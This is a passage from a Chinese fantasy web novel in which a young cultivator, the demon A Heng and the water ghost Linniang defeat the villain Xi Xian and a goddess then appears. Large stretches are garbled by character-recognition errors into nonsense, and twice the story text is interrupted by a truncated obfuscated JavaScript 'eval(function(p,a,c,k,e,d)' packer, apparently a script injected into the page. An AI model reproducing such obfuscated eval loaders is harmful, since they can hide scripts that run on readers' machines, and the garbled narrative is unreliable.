程净竹侧过脸,于浓瘴浓雨中眺望远处模糊到只剩下一道墨影的神山:“此地也从来不是什么福地,而是天地人三界之外的漂浮之境,称赤戎,此地本不是凡人可以生存之地,所以黑山黑水,草木不丰,而你们所挖掘的璧髓……” 他顿了一下,细雨如丝拂过他的衣襟:“虽非邪物,但其中所蕴清气是凡人之躯根本无法消受的,你们会得青骨病,并不是因为山神所谓的惩罚,而是因为你们常年挖掘璧髓,躯体承受不住清气的浸染,才会异化,生出骨刺。” “你们想一想,此地女子不生骨刺,究竟是因为山神的怜悯,还是因为从来挖掘璧髓的,全都是男人?” 程净竹话音才落,村人们脸色各异。 “……老鱼头,”躺在地上,被除了骨刺的那老翁忽然想起老鱼头,“他生前一直捕鱼跟咱们换璧髓,从没去过神山,所以他……没有青骨病!” “那,那老鱼头到底是怎么死的?” 有人颤声道。 “反正,不是我杀的。” 阿姮双手抱臂。 程净竹回头看了她一眼,再看向席献,道:“若我猜的不错,那名叫小有的孩童,还有那老渔夫都是你为了赶走我,而下的手。” “我早知道,” 席献没有否认,到如今,他已经没有任何伪装的必要了,“你会是个大麻烦。” 话音落,席献猛然袭向程净竹,程净竹侧过身,躲过席献那只手,他侧过脸看去,席献整只手生出漆黑的皮膜来,指甲变得像鸟爪的指甲一样尖锐极了。 “席献!不如你我先来算账!” 半空中,席正忽然俯冲下来,落在程净竹身前,那席献才探来一只爪子,却穿过席正胸口的空洞,他僵了一瞬,但席正缺根本不给他反应的机会,一把抓住他的手臂,菌丝迅速缠上去。 席献锐利的指甲三两下截断菌丝,席正又扑了上去,两人手脚并用,连过数招。 与此同时,立在一边,根本不受毒瘴侵扰的云童动了,他飞快闪到程净竹身后,程净竹抬手,法绳绕后,如银蛇般缠住云童的手臂。 天上雷电交加,冷雨纷飞。 “没有山神,根本就没有山神?” “是村长他骗我们的?” “是他骗我们……那我爹不是被山神惩罚死的?” “我儿子……不是因为背叛山神死的?” “那我,那我弟弟他……” 光罩中,人们的声音越来越杂乱,越来越迷茫,又变得越来越激动,阿姮站在其中,垂眸打量他们每一张脸。 她有点能分得清他们的长相不同了,但他们此时的情态,却似乎是相同的,可那是什么呢?是什么会让他们目眦欲裂,眼角像是要滴出血来? 阿姮不明白。 “他骗我们!” “他骗我们!” 一声,又一声,嘶声力竭。 她饶有兴致地看着这些人,目光不经意一侧,她看见不远处屋檐底下,霖娘正奋力地往阶上去,可阿姮身上的葫芦牵制着她,准确地说,是葫芦中,黑水河水牵制着她这只水鬼。 她在黑水河中时,无论怎么努力都去不了岸上,就如同此刻,无论她怎么努力,也迈不上那石阶。 数步之遥,阿姮看向阶上,赵世义血肉已消,仅有林秋雁躺在血泊中,一动不动,了无声息。 阿姮看着她那双粗粝的手,片刻,抬起眼帘,大开的房门内,那个桌子角上,叠放整齐的衣裙那么的红。 她没什么表情。 “阿姮。” 沙哑的女声忽然响起。 阿姮循声,看向狼狈地半跪在地上,无论如何也够不到她母亲尸体的霖娘,她眼眶几乎红透了,浸着泪光,望着阿姮,道:“杀了他,好吗?” “阿姮,我求你了……”霖娘死死地盯着她,“我求你,杀了他!” 阿姮回过头,那白衣修士侧身躲开云童的攻势,手挽法绳而起,满身珠玉清音作响,那云童顿时耳中淌血,也正是这一刻,银色的法绳洞穿云童肩骨,血花四溅。 “杀了他,” 阿姮站在一片嘈杂中,恍若局外之人,她神光淡淡,“我会露馅的。” 此时此刻,霖娘紧紧盯住她,阴寒爬上她的脊背。 就像泥妖化作柳行云的模样,引诱她,欺骗她,所有的温情软语,都是为了最后一把碾碎她的心脏。 阿姮亦如此,林秋雁给她梳头做衣裳,赵世义给她杀鸡补身,将她真心爱护,到最后,她也并不会因为他们的死而感到难过。 天生的妖邪,哪里会有人的情义。 他们感受不到,也根本不会在乎。 霖娘愤怒极了,她忽然好恨,恨阿姮的冷漠无情,但低下头,她看着自己半透明的双手,她更恨自己,沦为水鬼,百无一用。 “我要回去。” 霖娘喃喃似的:“回葫芦里去……” 她说着,起身走向阿姮。 阿姮看了眼腰间的玉葫芦,没管她,但正是霖娘几步接近阿姮的瞬息,她泪盈满眶,从齿缝里挤出声音:“你不杀他……” “就把我的身体还给我!” 她猛地化为一团水雾发了疯地冲向阿姮胸口。 阿姮正看戏,未料到这跟个泪包似的柔弱霖娘忽然有此一举。 阿姮脊背陡然一僵。 身上那件脏旧的宽大袍子滑落在地。 她垂下眼帘,因为那团水雾强行挤进胸口,鲜血顿时染红她的衣襟,她感知到那团水雾在胸腔中像一个心脏那样,一阵,又一阵地跳。 跳地无比急促。 阿姮的呼吸也跟着变得急促,她抬起脸来,再度看向那些聒噪的村人,这一刻,她发现自己竟然读懂了他们脸上如出一辙的神情。 “是席献害我们,他用一个山神骗得我们好苦啊……” “他真该死,他真该死啊!” 她听懂他们声音中,那种恨不能食人血肉的愤怒。 对,是愤怒。 檐雨若绳,阿姮再度审视那具浸在血里的尸体,她瞳孔微微颤动一下,呼吸更加急促,胸中滔天的愤怒涌动着,攫取她所有的感官。 她想起那双给她梳过头的手上的温度。 想起味道鲜美的山菇炖鸡。 而此刻摆在桌角,崭新的衣裙,是她最喜欢的颜色。 她缓缓转过身,那云童扑通一声摔在地上,颈间是被法绳割破的血痕,汩汩的血涌出来,被雨水冲淡。 程净竹收回法绳,阴冷的风忽然拂过,他抬眼只见那年轻女子自身边跃过,乌黑的长发纷纷而飞,那样一张面容因为这场雨而显得更加的苍白。 越苍白,却越艳丽。 那是一种与人类绝不相同的,诡秘的艳丽。 程净竹伸手,手背却只来得及轻擦过她的衣袖。 一瞬之间,她落身席氏兄弟之间,席正没来得及收手,菌丝爬上她的肩背,但不过顷刻,便被她周身涌动的红云烧成灰烬。 “你……” 席正满头大汗,不明所以,只见阿姮往前数步,满掌红云散开,灼得那席献双眼一瞬发痛,他闭了一下眼睛,却陡觉阴冷的风迎面拂来,他立即凝神睁眼,长满尖利指甲的手挥出去,左肩却猛然一僵,痛感袭来。 席献侧过脸,看到肩上那样一只纤细而苍白的手,指甲涂满鲜红的丹蔻,那指甲似乎并不尖利,也并不够长,但他的肩头却渗出血来,灼烧似的痛感尖锐极了。 席献眼中流露一分诧异之色。 天边电闪雷鸣,周遭瘴气更浓,眼前这女子满襟都是血,而她本该漆黑的眼,变得暗红。 她眉宇满是暴戾之色: “老东西,拿命来。” 第13章 弟13早 弟3阜 席献痛得厉害,立即抬起漆黑畸形的爪子抓向面前女子的臂变指甲如根根锋利的刺,狠狠划去,但预 的那种穿透皮肉的触感, ,他猛然拾起头 没有发生 女子臂弯的披帛飞 k扬而起,她的整只手臂竟然顷刻 化为红零 席献一招扑空 ,女子已在几步开外, ,红雾散去,她那只手臂又变得莞完整整,不给他反凡 的机会,女子掌翻红云,直逼他胸膛而来。 席献神情一凛,立即抬起爪子应对, 出奇地狠,饶是他小心应付,亦被丝 灼伤了 了,你闻到自己的香味了么? ?一只爪子,他后退两步 ,忽听那女子的女子法谵暴片奇地峡却又裹覆了十分的阴寒:“你的鸟爪字红烧 这罄是卷是越是令杂赛毛使立。 人类的情态。 快要异化为妖鸟的席献读懂她这份阴戾的杀意,他终于意识到此女子不好对付,此时又见那白衣修士欲前来,他周身即刻散开罡风, 一霎搅动四方毒瘴,瘴气愈浓,而狂风更卷,斜雨汤汤。 “什么声音.....这是什么声音! 光罩中,有村人听见一阵声音。 起初,大家以为是雷声, 中夹杂着呜呜的嚎鸣,那是人的哭望,飞意做手角以改声买,但人们细听之下,发现轰隆的雷鸣与呼啸的羊角但他们似乎只会哭,根本说不出任何完整的话。 还没有找出这些声音传来的方向,便见那漫卷的瘴气沉沉地向他们压了下来,光罩发出碎裂的声音,人们惊类 然而瘴气却并没能趁机钻入光罩中 年手持白符,符纸边缘烧出的火焰不但不变網看身体的人们后知后党全抬起头来,只当缝帮自变初。 他满掌是血,仿佛正是因为符纸尾端浸润着他的血,所以才能在这样极端的天气中点燃那白符。他脸色越是老 苍白,额间一 点朱砂便越是艳丽。 然而毒瘴却并未因此而鸣金收兵,它更狠地往下压,浓浓的瘴中竟然显露无数张人脸,他们没有皮肤,没有血人记害怕楼都像琼有化聚-都紧记努具,神集痛苦地发出惨叫声,..那不是我爹的脸么?" 许多人根本不敢细看,但听得此人声音,便又都忍不住,瞪大双眼,大着胆子去打量那团像是时刻都击破光罩 ,夺取他们性命的瘴 “我看到. .我祖父了!那是我祖父啊 ”我丈夫,我丈夫的脸怎么会.. “更们不耕琨差当留寻找熟悉的脸孔 人们 ,他们发出声声呼唤,却使得瘴气中那些人脸的神情变得越发痛苦。程净竹鬓边不知是雨水还是湿汗,他侧过脸去,此时天昏地暗,但那一抹亮色仍然显眼。阿妲听不见什么鬼哭狼嚎,什么也没想,她的感官全部都被霖娘的愤怒占据,妖异的眸中只有席献一人, 往前数步, 身化红雾又转瞬聚形于席献身后,一掌探向席献后心,席献反应却如鸟类一般灵敏,他侧身避,利爪迅速划向阿妲。 但仅仅一触碰,阿妲的身影顿散,诡异的红雾幽幽浮浮,在几步开外又很快化为女子窈窕的身形,此时,席正忽然扑向席献,席献下意识立即用一双利爪去攥他双拳,但见那双拳缠满菌丝,他瞳孔缩了一下,道忽然不狠,此时,他听席正道:“哥,不要再害人了! ....你还是这样。 席献仿佛喃喃了声,抬起眼来,他看着弟弟那张枯槁似的老脸,看他空洞洞的心口,目光最终凝在彼制约的手上: “哪怕你我兄弟二人都已不成人样了 你还是肯叫我一声 其实,我最恨你这样。 子落, 不言悔。 ,知道我 何改回从中,那齿梦我裴芭有所序献看着他这个一母同胞的亲弟弟,"缺- 个机会便可以离开这里,回到拘国、望手他们这些人, 是为了光复闾国而必须牺牲的!我知道我走的什么路,我也不后悔,只有你 寡断,我还有故国要光复 席献的神情变得有些阴暗: 还有家要问, ''只有你会让我心中生惭,让我觉得我不应该......可我不该这样,我不该优柔“你.. 席正正欲落些往么,扑来的红云灼烫非常,他一下子甩开了席献的爪子,“嘶”的一声,转头就骂:“你他娘怎 么连我也烧啊! 一阵风贴着他松垮的面皮拂过,席正老脸冰凉,才发现阿烜已落身席献面前,二人再度交手,红雾若霞,烈焰滔天 又 在多年就中行摩正虽曾司迸防正杂去华媲是蛋以提理正松与缯否晃,褒正从未集助璧饕请三义身,所以他一开始就看得见阿妲身边的水鬼霖娘。 刻,他一边与此女子缠没生 而席献仍有一副自己的血肉皮囊,还未彻底异化为九头鸷,所以他根本没 法绳,紧盯着光罩旁那少年 吉,雨水打湿了他银灰的发髻,而他眉 那道朱砂红的印记不知被什么割开一道血痕,血珠顺着他高挺的鼻梁滴洛,息他的衣 席献实在没想到他受 了伤,破了金身,竟然还能腾出手来,但他更加难以置信的是那穿着霖娘皮囊的邪! 席献回头,凝视那滚滚浓烟,再看向那形容苍白,衣着鲜艳的年轻女子,他多少年的心血,一夕之间,就这么被她给剖开 法绳骤然收紧,席献结结实实地摔落在地,他第一眼,最先看到一双苍白的赤足,风牵动她的裙角, 系, 献抬头,对上她满含戾气的眠。 她掌中红雾聚为长剑,剑锋离他含只落卡移两寸, ,忽然她眸光一闪,似平从那种滔滔愤怒中找回一分自己的2性,随后她看向自己胸口涌动的水雾 也是此时, 彩绳猛然尖叫着冲了过来一. 尖锐的物件刺穿血肉的闷响传来,阿妲歪着头, 暗红的双眸打量身边这个忽然出现的女子,她双手中 着一支金簪,那簪子被她用力扎入席献的心口。 “可 席正瞳孔一紧,他呆呆的,喊了声。 那温热的血溅得彩绳满手都是, ,彩绳抬起发红的双目,看到席献那张沧桑的脸上露出复杂的神情。猛然间,他肩上长出来一颗年轻的头颅,那头颅面露痛苦,哀声唤他:“彩绳,你为何杀我?彩绳. “啊啊啊!!! 彩绳发了疯似的尖叫起来,抽出金簪,扎穿那头颅的咽喉,席献痛极,爪子一瞬长出更锋利更长的指甲,抓向彩绳的刹那,他的爪子却又忽然顿住了,很快,他的那张老脸上显露怪异的神色,那颗年轻的头颅口道:“不!你不许伤她!’ 席献脸上狰狞一瞬,似乎很快重新夺回了意志,他立即朝彩绳探出爪子,也是这一刻,暗红的长剑刺军他的腰腹,同时,银尾法绳生出密刺刺穿他的身体。 凄哀地看她:“彩.. 彩绳已然疯魔,根本没有躲开,金簪尖锐的尾端不断在那颗年轻头颅的咽喉穿刺,那双年轻的眼睛始别叫我! 别叫我! 彩绳尖声大叫。 头,那颗头颅在流泪。 很快,那颗年轻的头颅被金簪生生割断,掉在了地上,在泥里滚了几遭,彩绳终于停下来,她迟缓地是鲜红的血泪。 摆警杂看凑彩,华孟辱毫经对不起。 "哈哈哈哈哈哈哈哈 你们杀了我又如何?”席献肩上鲜血淋漓,其他几个脑袋相继出现,他们一同开I说话,“程净竹,我不知道你是如何进来的,但我告诉你, 我出不去,你们也- 个都别想出去! 席献的声音忽然变得恶狠狠:“我的毒瘴, 妖邪不怕,你这个修道之人也不怕,可是... ....他们怕啊。 程净竹随着他的目光,看向瑟缩在光罩中的村人们 界天然的遣 “你自己当然可以走 但他们如何跟着你走呢?只要他们还是活人,就算躲过我的毒瘴,也躲不过此地至小你,得给我葬1 席献双目充血 难道你肯耗光你的血2就算你肯也好, 血涌:“明明... 有明我都要出去了。 每一个头颅都重复他的话,都因失去了一个脑袋而显露痛苦之色,他急促地喘息,胸他不甘,还是不甘。 多少年了 ,为了一 个目的, 他难以接受这个事实, 痛,又愤怒:“我要复国!我不要做巨之天人不做到蚤来。全都付之一炬了,......明明天命眷顾我,怎舍得,怎舍得让我 时眼看着一切.....化为泡影啊! “哥。 席正在旁,看着长着那么多个脑袋,浑身血淋淋的席献,他喉咙有些发干,却道:“你连亡国之君也不了,看看你自己吧,你把息只答以剩伤席献的内心了,但始终要除去一个人,席献看向他,看着这个亲弟弟,圣物。 几百余年, 他喉咙里发出浑浊的笑,伴随血一块糊了满嘴:“你也是啊.....阿正。席止却比他能哆坦然地止优日己全物的身份,他疹然一关: “我午就走了,仕你嫌我扫你的时候,仕 口,一口吃掉那么多尸体的时候。 “哥 席正嘶哑道:“我早就是一个,连心爱之人的血肉.....都能吃下去的怪物。’席献眼瞳一颤。 “阿正 “"不用回旋,哥,你别管。 ,你怎么不早说你喜欢那孙小蕊?今日是她大喜之日,你教我如何替你回旋?‘“可你... 可 ,我们吃了鸟蛋变成这样,我知道你为了在人前不露破绽已经适得很累,我不给你添乱,我.....我其实也没那么 喜欢她, 再说,她跟着别人,比跟着我好,我见不得光, 耳畔这些声音不断落在席献每一颗头颅的耳畔 ,都像回意一遍遍响,他想起那个弟弟的心上人大喜的在 晚,席正烂醉如泥 -把鼻涕一把泪地抱着他的手臂嚎:“小恋 态i 那么多年,席献只见席正喜欢过那么一个女子,哪怕人家根本不知道他的存在。后来,那女子慢慢从少女变成老妇。 再 后来 席献回过神,嘴唇抖了一下:“阿正,我 “哥,我们是怪物, "席正看着他说,, "我们都该死。” 菌丝爬上席献的身躯,攀援而上 ,附着他的每一处脖颈,越收--越紧。 鸷的鸟相在他脸上不断闪烁,他喉呢发出粗粝的低吟,那是他最后的偏执:“瓢泼的雨砸下来,席献神情痛苦 双目赤红. 他挣扎着要抬起双臂, 然法绸器紧禁着的着 我.....诅咒你们,永远被我的毒 缠身...你们出不去,你们...谁也别想出去.... 他艰难地喃喃: “闾国,我的,闾国。” 菌丝缠断他的颈骨, 他所有不甘的声音戛然而止。 席献死了, ,整个畸形的身躯被血红浸泡,一动不动。 席正仿佛失去所有力气 ,双腿一软,倒在地上 ,怔怔地望着席献的尸体,阿妲胸中怒意减淡,扎在席南 身上的剑破碎成雾散开,她垂眸,看向自己胸口那团水雾,冷声:‘"赵霖娘,你出来。 “谢谢你,阿妲。 霖娘却说道。 她没有出来, ,阿姖眉目戾色未褪,正要徒手将胸口中的水雾掏出,此时并未消散的毒瘴又聚拢起来,住那些七彩 流光似的游魂,于是他们又变成了瘴中一张张狰狞的脸。 瘴气狠狠压下。 光罩中人们惊叫出声,却见那白衣修士袖中白符钻出,立即焚化为金色莹光四散而开,他眉心的印记断浮出丝缕血气 ,促使那些莹光钻入瘴中 ,它们一遍遍将那些人脸从中解脱出来, 化为光影, 点滴流转 阿妲看到他袖子边浸满了血,那手掌血红,眉心的印记也红,,而他的脸色却越来越苍白,神情却依旧 静。 瘴气被他拨开一半,天光散落而来。 例延忽然吼想霖娘又说了一声, 紧接着,阿姖忽然感觉胸口剧痛,她拧起眉头,伸手要往胸中探去,却听见霖娘隐含哭腔的,颤抖的音:“五方山下,得成我道. 霖娘的声音忽然又变得平稳,坚定:“今消此身,福我下民! 阿妲暗红眸中浮出凉愕 这-刻 消身咒,工地的消身界 阿姖忽然觉得那股将她禁锢在这具皮囊里的神秘力量忽然消失了,她感受到这具皮囊里的血在沸腾,在燃烧。 如瓷器在窑炉内发出的冰裂般的声音,程净竹回过头,只见那年轻女子僵硬地站在那里,一动不动,息,她的血肉身躯陡然破碎成万干莹光,飞浮,升腾。 红雾缕缕, 散开。 “诸吞神佛有闻却我愿去地遗志入以此身血肉为凭,哪怕魂消魄散,盼毒瘴尽灭,村邻苦厄尽消。“霖娘 光罩中,原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她领受到这种可怕的,绝对的压制,模糊的面容一抬,暗红的莹光飞散,穿透金网细小的缝隙,她的形转瞬散开,又凝聚在天罗地网之 红雾若焰火般跳跃燃烧,然而金网迅速往上收束,压散她的身形,漫天红雾浮动,钻入山林。林中早不金尤照雄,友羔喵淡的巴見然呗刻显路尢限土机,林中风功,化不,早叶,首趁而起,挡去雾气的退路。 茹看到下蓥吴霖水,在核繁叶挠望况还宜,袋在项刻如蛛丝铺开,地动山摇,缕缕烟重新凝聚成一个女子的模糊轮廓。 流火 中,錦的頌範粘杖,褪看看韙李牧是枯枝, 它通体漆黑,像是被烧焦了一样,看着没二两重,明明 通得不能再普通,却又偏偏离奇地散发着金石般的光泽。 很快,它周身环绕密密麻麻的金光咒印,随后它 一瞬从泥土中撤出,露出它与利剑一般长度的整个躯 体,破开重重雨幕,直逼红雾而去, 轮廓模糊的红雾被咒印死死困缚,几乎凝住,忽然一道女声响起:“阿妲?阿妲这是怎么了?怎么这么啊?" 陡然听见这道熟悉的女声,红雾模糊的面容低下去,发觉声音是腰侧雾气相托的那只玉葫芦中传出的。她竟然没有魂飞魄散。 那枯枝击破雨幕,强烈的剑气迎面扑来,使得红雾的面容更加模糊,她立即将那玉葫芦扫入身后的黑7河中:“快滚! 玉葫芦入水,霖娘从中出来,浮于水中抬头一望,见天地金光溶溶,那焦黑的枯枝势不可挡地逼近老下那团朦胧红雾, 她失声喊道:“阿妲 剑气摧散暗红的雾,在黑水河中荡起惊涛巨浪。 霖娘浮在水中 ,被浪涛打得沉入河底, 天地一片金光灿灿,风雨依旧浓厚,老树下散开的雾气又聚起-个暗红的,女子的轮廓,她五官依旧模糊不清,睁开眼睛,看到那一截悬在她眼前,离她仅仅半寸的,无比利的枝尖。 竹抬眼睃巡四周 程净竹被金网阵法所阻,费了些手段终于寻至黑水河畔,天上的金光慢慢散去了,又是晦天暮雨,程、河声缓缓,老树枝繁。 除了他脚下蜿蜒如蛛丝般的裂缝,这里似乎什么也不剩下。 “呕 河岸边缘,传来一阵呕吐声。 程净竹敏锐地抬眸,只见半透明的女子身影拨开水水面,背靠河岸,正正开嘴,往河里吐黑水。简直像个水柱 她吐出的黑水之多, “阿嫗.. 回过神来,她立即捂着嘴转过头: 老树底下 ,哪有那缕缕缭绕的红雾 ,也不见那威压逼人的焦枝, 只有那白衣染血,手持银尾法绳的少年 修士立在那里 这大显然不是错,我 风吹雨斜 ,他衣角翻飞,眉心那道伤口血红,更衬他皮肤苍白,而他的那双眼正看着她霖娘确定他根本就着得见她。 然而霖娘觉得,此刻他那双眼再不是静谧的深流,他似乎有些焦躁,只是声音仍惯常的清冷:"阿烜呢霖娘摇头“我不知道,我是 程净竹略微闭了闭眼, 似乎在竭力凝神,他听到风中细微的动静,再睁开双眼,神情又变得十分沉静,风雨拂过他银灰的发, ,他垂下浓而长的眼睫,看了一眼自己掌心交错凝固的血痂 ,随后,他席地而坐。 绳上用力一握, 霖娘原本十分慌张,见程净竹忽然坐下,正不明所以,却又见他抬起那只满是伤口的手,随后在银尾顿时掌心鲜血淋漓 霖娘吃了一惊:“程仙长 一刻,她看见程净竹袖中白符飞出,他双指燃起一簇焰光,于虚空中画出一咒,落于符上,那白符,散至四方。 驻半空,吸取他满掌的血今 他闭起眼,眉心的伤痕又在流血, 而他耐心分辨着淅沥的雨声,呼啸的风声,宛如入定一般。 忽然,老树繁密的枝叶中,发出轻微的簌簌之声。 那是足以被风雨掩盖的声音。 但程净竹蓦地睁眼,抬手一挥,半空中的白符立即化为飞火钻入老树枝叶之中,引得枝叶乱颤。“阿嬗姑娘,出来。 血珠顺着程净竹的指缝往下滴落,他平静地凝视着那一树繁茂的枝荫,枝荫中,红雾难耐地凝聚成一团,被剧烈的渴意笼罩 她在乱枝中,窥探那个席地而坐的少年,他的衣衫不知什么时候沾了那么多血,连一向严整洁白的衣衫被也有星星点点的血迹。 她窥视着他,看着他那只流血的手,她看到他单薄而冷白的皮肤,底下嶙峋泛青的青筋分缕明晰,血从修长的指节滑落他泛粉的指腹.. ...她焦躁极了,根本挪不开自己的目光。 可他,已经知道她不是人类了! 她听到那少年清冷如磬的嗓音,他语气平缓:“阿姖。‘ 明明只是唤一声这个名字,但 第14章 落,添鲁的盟还把的静副崖上暗钰始萎瘫辩挛攀涩由在筱掣耋,灰魯留髓搭弟4早弟4早 碰她模糊的下颌,她也并未警惕地退避。 却令他无端感受到来自于她的碰触。 明明她只是一团雾,哪怕凝成一个人类女子的形,也依旧缥缈难碰触,但她贪心舔舐过他掌心每一道伤?程净竹睫毛微动,眼底的冷漠有一瞬凝固,此时, 远处轰响震动,他立即举目望去,天边淡色的莹光缕缕 上浮,那是霖娘的身躯所化的清气,眼看清气上浮拨开层层迷障,浑浊的天幕被划出一道口子,而雷电却猛然落神山,迸发出巨大的轰鸣。 程净竹立即起身,只见远处雷电勾缠滚滚黑气,山中流火如簇,涌向天际,迅速钻出裂缝,无影无踪。“那道口子.... 黑水河中,霖娘亦在看天。 “是你的祷祝撕开了结界。 °”程净竹说道。 ”我的祷祝 ?”霖娘有些迟疑,她望着天边,不敢相信,“真的是我吗? "天界听到了你的声音,听到了你爹,你祖父的声音。 程净竹道。 这样闭塞的,不与外界相通的地方,馫娘从斗轰屈就在这里,她也想象不到天界究竟是如何听到她一家三代的祷祝,她脑子里一团乱麻,又问道 ..是什么?'' 程净竹却并不作声,察觉到缕缕红雾将要淡去,他立即抬手结印,点点金芒点缀雾中,映照他苍白而漂亮的面容: “阿姖姑娘,你想去哪儿?” 阿姖尝过他的血,神志恢复许多,正要消无声息跑掉,哪知这小神仙竟然如此警醒,飞快结印控住了她。动他鬓边几缕浅发。 没有人的皮囊,阿妲自然失去人的声音,她不耐烦地以风音骂他,于是一阵凛风拂过程净竹的脸颊,吹程净竹没有等到她的回答,只等来这风音,他神情有一瞬古怪:“你的声音..”他的话没有说完 ,天边 忽然霞光大盛,那光亮很快照得此间上下明彻,瘴气全消,破口外微白的流光消动而来,见此情形,程净竹立即再结一道, 将缕缕红雾收入袖中。 阿妲被流转的咒印绕在他腕骨上,不甘束缚不断挣扎,然而他的另一只手搁着衣袖压过来,不像安抚,而是警告 s。 飞回赵家篱笆院中。 程净竹烧了一张白符,卷起一个巨大的水球,将霖娘托在其中,随后腰间法绳飞出,他一跃而上,乘风瘴气没了, 人们正欢呼,却见天边莹白的祥云中显出一影,柔和的清气映照她云鬓秀髻,戴金玉花冠)缀宝珠琉璃,着淡绿厂 袖衣,罩绿襟草黄荷叶边半臂,披珍珠云肩,襟前压金石璎珞,腰有珠环玉佩,则 腰古翠褶裙 ,罩灰蓝银纹鱼鳞围裳,珍珠绶带环绕,灰蓝的披帛飘飘,面若满月,宝相慈悲,手持一柄白玉意,风姿绰约,衣袂流霞,缥缈翩然。 ,风停雨住。 一时 “那是,那是.... 人们仰望她,简直不敢相信自己的眼睛。 杂:“上界久无你音讯 云端之 ,神女身 后华光莹白,她双眸微垂,最先看向地上那白衣少年,似含淡淡的喜意,又有些许复,都以为你... 十清紫霄宫药王殿弟子程净竹,”程净竹拱手俯身,道,“拜见元真夫人。原来此神女,正是天帝之妹,元真夫人 丁 元真夫人审视着少年,在云端发出叹息:“ “上清紫霄宫 ?“元真夫人轻轻抬手 反警详遽扶提净尔,愿来您袈不餐在帮程天帝,所以不传音上界,是不是? 程净竹眸若平湖,道:“元真夫人 ,长渊之下有东西出去了。 随后,她扫视地上村具具尹 元真夫人神情变得肃穆: 我来时已然得见。 体,最终定在席献身上,手中降下去一道光,那光照在席献的尸体上,随后,一张图从他胸前显现,升起,最终收入元真夫人手中。 图落在元真夫人手中的羹我的欲望学还上满便通过这张图看到了席氏皇族从席绰,到后来的每-一任国 君 ,包括席献的过往, 县玄 片刻,她睁开眼,面上浮出愧色:“在我,恶因不 我。 “当年我念席绰心诚,便许诺赴宴,”元真夫人追忆起来,面露羞惭,“他向我求长生,可长生在于个人緣,而不在一让他货三界浩天,而谨持自身,好好为君,为人,谁料想,他席氏皇族世代以此为念,最终竟干是不许 ,但毕竟吃了他的宴席,心中多少有些不好意思 ,所以临别时,才赠他一幅山海图 我的本意, 席献阴差阳错寻到此下 元真夫人看向底下那些怯懦地仰望她的凡人,道:“此地称赤戎,乃是九仪娘娘的故十I''九,九仪娘娘是谁啊?" 人群中,有人颤颤巍巍问道。 元真夫人见那么多张发 懵的脸,便说道:“九仪娘娘是重铸天地之神,因禊吞奠神楚,以 奉起人海烁铸,九衣袋娘娘丸人冬子雳 子时尽朝露抗美表失于些 最终重新铸造了崭新的三界,然而天衣人火种难 消,为了 不让天衣人再为祸三界,九仪娘娘所有乡邻自愿举家搬离故土,之后,九仪娘娘将残存的天衣人封在赤戎长渊之下 ,又将其法器镇在此地。 "此地黑水黑山,正是因为长渊之下的天交时种主影在我义想望杂将弈我分美为我的这张图,而是。,不与三界相连,使其1 为漂浮溪人照鲁天交由岩奇能发少年, 过后,有神殒于此, 又道:“而是你们到来之前,长渊封印有所松动,其时, 一场大 ,化为封印后,不断消散的神力冲击结界,而与外界有了片刻的连接,也是那时,你们穿破雾, 进来此地,却再也出不去。 ”莫说是你们。 元真夫人叹道:“此地漂浮于三界之外,便是上界,也难断其方位。"“既然方位难断, 那.....我祖父又是如何来的? 霖娘在墨色的水球中, 除了霖娘血肉消散时的聖秘端天的神齐纱意,怒无攥在导不住可盖音,此时也看不见她的水鬼之身,更不见那颗巨大的水球。 然而元真夫人却在云端将霖娘看得清楚,她一挥手中那柄玉如意,底下沾血的土地神像中,那金光文说误顿时飞入云端,落在她手中,她看过文谍中闪烁的字痕, 一双悲悯的眸低垂: “赵悬磬于朔州五方山得道 ,月 地仙,任土地, 血人间世上有人之处,便有土地,赵悬磬不是自己找来的,是此间众人指引他来的,无论你知不知道他公不富任他看美,那里只有林秋雁的户体,孤零零的,土地神像在那一滩血色中仍然神态悲悯。他都因你们而存在。 人们 “原来,这.....才是神哪。 人至了眠,惘惘退:“我J了,也拜了.....什么山件哪,郁走假的,郁定假的....会譬哭人轻疼摇实多省天声,抬袖一挥,天边那些流转的魂光立即受到清气的牵引,祥和地游向她身边。 连绵的祥云中,人们看到那些魂光化为一道道平透明的身影,人们看到一张张熟悉的脸,而那些脸上,再没有痛苦,也没有狰狞。 他们微笑着,看向地上活生生的亲人,朋友,子女,父母,随后化为长烟缕缕,收入元真夫人的玉如意中。 “赵霖娘。” 鬼却仍秉持仁善, 厉霾毒在蠢向潜贵臂髓取救多羚静不负土这聚兰您必栳芪必恋肾诣望洁恧贸受琴留獗青怨液更 你,你可愿一心向道,长修此身2 “多谢元真夫人,”霖娘俯身跪拜,又仰起头,“可霖娘别无他求,只想我爹我娘他们能够活着回来我身浸润,神情平和。 元真夫人轻抬手指,玉如意中两缕轻烟浮出,不多时便幻化为一对相扶的夫妻,他们被那种莹白的柔“爹,娘.. 霖娘双眼很快被泪意充盈。 那对夫妻仿佛听见她哽咽的呼唤,他们看着她,对她微笑。 很快,他们化为轻烟,回到玉如意中。 “他们更盼你好。” 元真夫人说着,手指轻轻在襟前一碰,身上那件珍珠云肩立即脱落,坠下云端,破开水球,披在霖娘身上。 呼着,喊她的名字。 没有了黑水河的水浸润身体,霖娘发觉自己竟然不觉难受,她的身形也变得越来越明晰,她听见人们惊霖娘抬起头, 只见云端流霞中,元真夫人朱唇含笑:“赵霖娘,你爹娘一片仁慈之心,来生自有诸般福报,而你祖父赵悬磬本为神仙, ,幸有残念存于这文谍中, 我将他残念送回上界,假以时日,或能再造神魂, 日我将这云肩赐你,可保你不受黑水河禁锢, 但你切记,从这里出去后,一定要去东海寻 祥彤营宝表加身 再往后修行济世,得道之日,便是你修得金身之时。 “多谢元真天人,霖娘今日记下您的教诲,无论金身成或不成,霖娘立志修行济世,终不敢忘您点化之恩。 霖娘俯身磕头: 元真夫人微微颔首,而此时霖娘数步开外,那席献畸形的尸体旁,满头白发的席正忽然抬起一掌,打向“孺子可教。 自己的天灵盖。 程净竹双指于虚空中一划,本来隐去形状的星宿阵显露它附着在席正身上的千丝万缕,程净竹抬臂一拽,席正的手立即不受控地往后,然而他的身躯实在太不牢固了,这么一拽,小臂直接掉在了地上,露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 